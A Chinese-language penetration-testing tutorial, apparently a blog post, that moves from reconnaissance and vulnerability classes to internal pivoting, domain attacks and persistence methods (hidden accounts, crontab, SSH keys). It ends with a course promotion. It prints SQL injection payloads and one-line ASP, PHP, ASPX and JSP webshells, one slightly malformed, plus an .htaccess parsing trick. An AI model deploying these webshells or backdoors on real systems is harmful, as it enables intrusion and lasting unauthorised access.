渗*透测试
- 渗透测试就是模拟攻击者入侵系统,对系统进行一步步渗透,发现系统的脆弱环节和隐藏风险。
- 形成测试报告提供给系统的所有者,所有者根据报告对系统进行加固,提升系统的安全性,防止真正的攻击者入侵。
渗透测试步骤
- 准备阶段
- 信息收集
- 漏洞探测
- 漏洞利用
- 内网转发
- 内网渗透
- 痕迹清除
- 撰写报告
准备阶段任务
- 定制实施方案
- 渗透测试授权
- 渗透测试目标确认
- 测试环境确认
- 渗透测试范围和深度
- 渗透测试时间确认
- 渗透测试风险管理
信息收集
- 信息收i就是渗透测试前期的必要阶段,因为系统的风险通常存在于不易发现的脆弱环节。
- 主动收集,直接对目标进行访问或者扫描,优点能够获取更多信息,劣势可能会在目标上留下记录
- 被动信息收集,通过第三方服务收集目标的信息,优点是不会被目标发现,劣势,收集的信息较少
域名信息
- 包括IP,whois,子域名,DNS记录
首先尧判断域名是否存在CDN的情况,可以利用CDN查询网站 如http://ping.chinaz.com,如果查询的出现的IP数量有多个,则该IP不是真实服务器的IP,可以通过查询主域名或者子域名,邮件服务器,以及查询DNS记录的方式获得真实IP
子域名收集工具有Layer子域名挖掘机,findomain,subDomainBrure等,除此值之外还可以利用第三方服务收i就子域名
公网信息
目标的任何相关信息,如员工邮箱,姓名,手机号。在github上等托管平台查找敏感信息和口令获取,如数据库信息,邮箱账号信息,源代码等。
网站指纹
包括四个方面
- 服务器类型(windwos,linux)
- 脚本类型(php,js,asp,apsx)
- 网站容器(apache,nginx.tomcat,IIs)
- 数据库类型( mysql,oracle,access,sqlserver)
常用的工具,whatweb,BugScaner等
开放端口
- 22 ssh弱口令
- 3306 mysql弱口令
- 6379 redis未授权访问
- 7001 weblogic相关漏洞
- 8080 Tomcat相关漏洞
扫描工具nmap,railgun
敏感目录
敏感目录也是进行渗透测试的重要突破口,如后台目录可利用弱口令,SQL注入或者爆破的方式进入,以及对上传目录,mysql管理接口,phpinfo或者编辑器等利用
敏感目录扫描工具有,御剑,dirbuster,wwwscan,okadminifinder,dirmap
旁站和C段
旁站指的是同一服务器上其他的网站,当目标较难进行一步步渗透的情况下,可以通过旁站进行渗透,若能通过旁站拿到服务器的权限。
C段指的是同一内网网段内的其他服务器,指导是对与目标同一C段中的其中的一台服务器进行渗透并提权,再以得到的权限的这台服务器作为跳板对目标服务器进行渗透。
常用扫描工具
- Nessus
- X-SCAN
- Nmap
漏洞探测
在进行信息收集之后,就要对网站进行漏洞探测,
漏洞探测思路
对漏洞的探测并非没有方向,而是尧根据收集的信息,对可能出现的漏洞进行排查;
- 注入型漏洞
本质上是由于违背“数据与代码分离原则”产生的漏洞。利用条件两个,一个是用户能够控制数据的输入,二是代码拼凑用户输入的数据,把用户输入的数据错当成代码执行了。
主要包括SQL注入漏洞,XXE漏洞,CRLF注入,命令执行和代码执行漏洞。
- 文件型号漏洞
主要包括文件上传漏洞,文件解析漏洞,文件包含漏洞,目录遍历漏洞和任意文件读取或者下载漏洞。
- 跨站型漏洞
该类型的漏洞主要通过跨站或者跨域的凡是进行攻击,主要包括SSRF漏洞,CORS漏洞,JSONP,XSS,CSRF.
- 配置型漏洞
配置型漏洞往往是网站的运维人员错误配置所导致的,主要包括未授权访问漏洞,不安全的HTTP方法,Host头部攻击等。
- 反序列化漏洞
反序列化漏洞是近年来常用漏洞,反序列化就是指把对对象转化为字节序列的过程,而反序列化就是他的逆过程。
常见的反序列化漏洞包括fastjson反序列化漏洞,JBoss反序列化漏洞,Apache Shiro反序列化漏洞,Weblogic反序列化漏洞等。
- 逻辑型漏洞
主要由于系统设计产生的逻辑漏洞,如在注册,登录和密码修改的功能上可能会存在逻辑漏洞,除此之外还包括条件竞争,HTTP参数污染,越权访问等。
- 服务器型漏洞
Web服务器作为WEB应用的载体,若载体出现安全问题,那么WEB应用程序的安全性也就无法得到保证。
- 第三方库漏洞
很多网站会利用第三方库来增强网站功能,但是若是第三方库本身出现漏洞,往往会成为一个攻击电。如fastjson,Struts2,JQuery,OpenSSL等。
内网转发
传统的网络安全是基于防火墙的物理边界防御,将网络的类型被分为内网和外网两大类。通常认为内网是安全的,内部的资产,人员都是已知的,可控的,而外部网络是危险的,所有的外部网络信息都是未知,无法控制的。
当我们获取外网服务器后的一定权限后,发现这台服务器可以直接或者间接的访问内网,而内网的一些主机不允许外网直接访问,这个时候就可以通过端口转发(隧道)将拿到的外网服务器设置为代理,这一过程就成为内网转发。
内网转发思路
内网转发通常需要判断已经拿到的权限的主机是否出网,如果目标出网则可以使用反向代理,若目标不出网,则无法使用反向代理,此时可以根据使用正向代理或者端口复用。
reGeorg结合proxychains代理链(HTTP隧道),适用于开放80端口情况
例如,现在拿到了一台WINDOWS主机的账号,密码和权限,现在想通过远程RDP连接到该主机,该主机3389端口只对内网开放,不对外网开放,所以我们以使用lcx等本地端口转发,将3389流量转发到33389端口上。
内网渗透
常见的攻击方式。
- 非域环境
MS17-010
哈西传递工具
Access Token窃取与利用
mimkatz获取RDP
- 域环境
MS14-068
票据传递工具
AS-REP Roasting
Kerberoast工具
权限维持
- web后门
1隐藏后门文件
2404页面隐藏后门
- windows系统
1建立隐藏用户,在用户后面加$s
2在开机启动目录下放置木马文件
3MSF中的persistence模块
4远程桌面会话劫持
- Linux系统
1.SSH后门
2crontab定时任务
3 SSh公钥
4创建SUID=0的用户
渗透后收尾确认
成果整理
形成报告
常见漏洞攻击
SQL注入
- 原理
SQL注入分为平台层注入和代码层注入。前者是不安全的数据库配置或者数据平台漏洞所导致,后者由于程序的未对输入的内容进行过滤导致。本质上都是对由于对用户输入的合法性没有判断和过滤,导致前端输入后端的参数可控。
通过SQL注入,可以实现数据库的增删改查,如果数据库的权限足够大,还可以对操作系统执行操作。
分类
- 注入点类型
数字,字符串,搜索类型
- 提交方式
GET,POST,Cookie,HTTP头
- 获取方式
基于布尔盲注,基于时间的盲注,基于报错的盲注,联合查询注入,堆查询注入。
成因
$name=$_POST['USERNAME'];
$pwd=$_POST['PASSWORD'];
$sql="select * from admin where user='$name' and password='$pwd'";
$query=mysql_query($sql);
当正常数据用户名admin,密码123456的时候。
select * from admin where user='admin' and password='123456'
当构造sql语句提交用户名admin,密码1' or '1'='1的时候;
select * from admin where user='admin' and password= '1' or '1'='1'
通用测试法则
- 引号或者括号
http://abc.com/?id=1'
select * from tables where id='1";
sql解析引擎报错
- 条件
1 and 1=1 数字型
1' and 1=1 字符型
select * from tables where id='1' and 1=1
访问正常
- 条件
1 amd 1=2 数字型
1' and 1=2 字符型
select * from tables where id='1' and 1=2
访问异常
sql注入-盲注
在测试的时候还需要进行Timing Attack测试,即基于时间的盲注,在这种情况下通过and 1=2这种简单的方式是无法看出异常的。
如果在MySQL的Benchmark()函数是用于测试性能的,该函数能够让同一个函数执行若干次,使得结果反馈的时间比平时要长,通过时间长短变化判断注入语句是否成功。
SQL注入-漏洞的通用修复方案
关键字过滤
文件上传漏洞
文件上传指的是攻击者上传了一个可执行文件到服务器执行,该文件可能是木马,病毒,恶意脚本或者webshell.
该漏洞的成因是对用户上传的部分控制不足或者处理缺陷导致,用户可以越过本身权限向服务器上传可执行的动态脚本文件。
通常情况下会利用文件山川漏洞上传木马,并且工具连接获取webshell.
利用条件
1 网站要有能够上传文件的地方,因此遇到某个文件上传点的时候,应当测试是否存在文件上传漏洞
2 上传的文件能够被当成脚本文件执行,所以通常会和文件包含漏洞和文件解析漏洞一起利用
3 能够访问到文件上传文件的路径
4 一般用户上传文档,图片,攻击者上传可执行文件文件webshell
什么是webshell
网页后门或者网页木马,以asp,php,jsp,cgi等网页文件形式存在的一种命令执行环境;黑客可以通过访问 webshell上传下载为文件,查看数据库,执行操作系统命令。
利用思路
上传流程
Webshell
一句话木马
asp
<%execute(request("value"))%>
php
@eval($_POST[value];?>
aspx
<%@ Page Language="Jscript"%>
<%eval(Request.item["value"])%>
jsp
<% if(request.getParameter("f")!=null)
(new java.io.FileOutputStream(application.getRealPath("\\")+
request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
.htaccess配置文件
htaccess文件是 apache 服务器中的一个配置文件,他负责相关目录下的网页配置。通过该文件,可以实现网页301重定向,定义404错误页面,改变文件扩展名,允许/阻止特定的用户或者目录访问,禁止目录列表,配置默认文档,配置RewriteRule规则等功能。
在渗透测试中,可以通过上传特定的htaccess文件,将所有的.jpg后缀文件当作php文件进行解析。
利用条件:
1 能够上传.htaccess文件,一般为黑名单限制。
2 AllowOverride All ,默认配置为关闭None
3 LoadModule rewrite_module modules/mod_rewrite.so 模块为开启状态
4.上传目录具有可执行权限
绕过校验
文件上传防御方式
1、客户端检测,使用js对上传图片检测,包括文件大小,文件扩展名,文件类型;
2、服务端检测,对文件大小,文件路径,文件扩展名,文件类型,文件内容进行检测,并对上传的为你教案随机命名等。而且服务端采用白名单的方式检查文件扩展名
3、服务端上传目录设置不可执行权限。
4、检查网站是否存在文件解析漏洞和文件包含漏洞;
5、将文件上传到单独的文件服务器,并且单独设置文件服务器域名。
6.上传文件的目录是http请求无法直接访问到的。
网络安全学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
需要网络安全学习路线和视频教程的可以在评论区留言哦~
最后
- 如果你确实想自学的话,我可以把我自己整理收藏的这些教程分享给你,里面不仅有web安全,还有渗透测试等等内容,包含电子书、面试题、pdf文档、视频以及相关的课件笔记,我都已经学过了,都可以免费分享给大家!
给小伙伴们的意见是想清楚,自学网络安全没有捷径,相比而言系统的网络安全是最节省成本的方式,因为能够帮你节省大量的时间和精力成本。坚持住,既然已经走到这条路上,虽然前途看似困难重重,只要咬牙坚持,最终会收到你想要的效果。
黑客工具&SRC技术文档&PDF书籍&web安全等(可分享)
结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失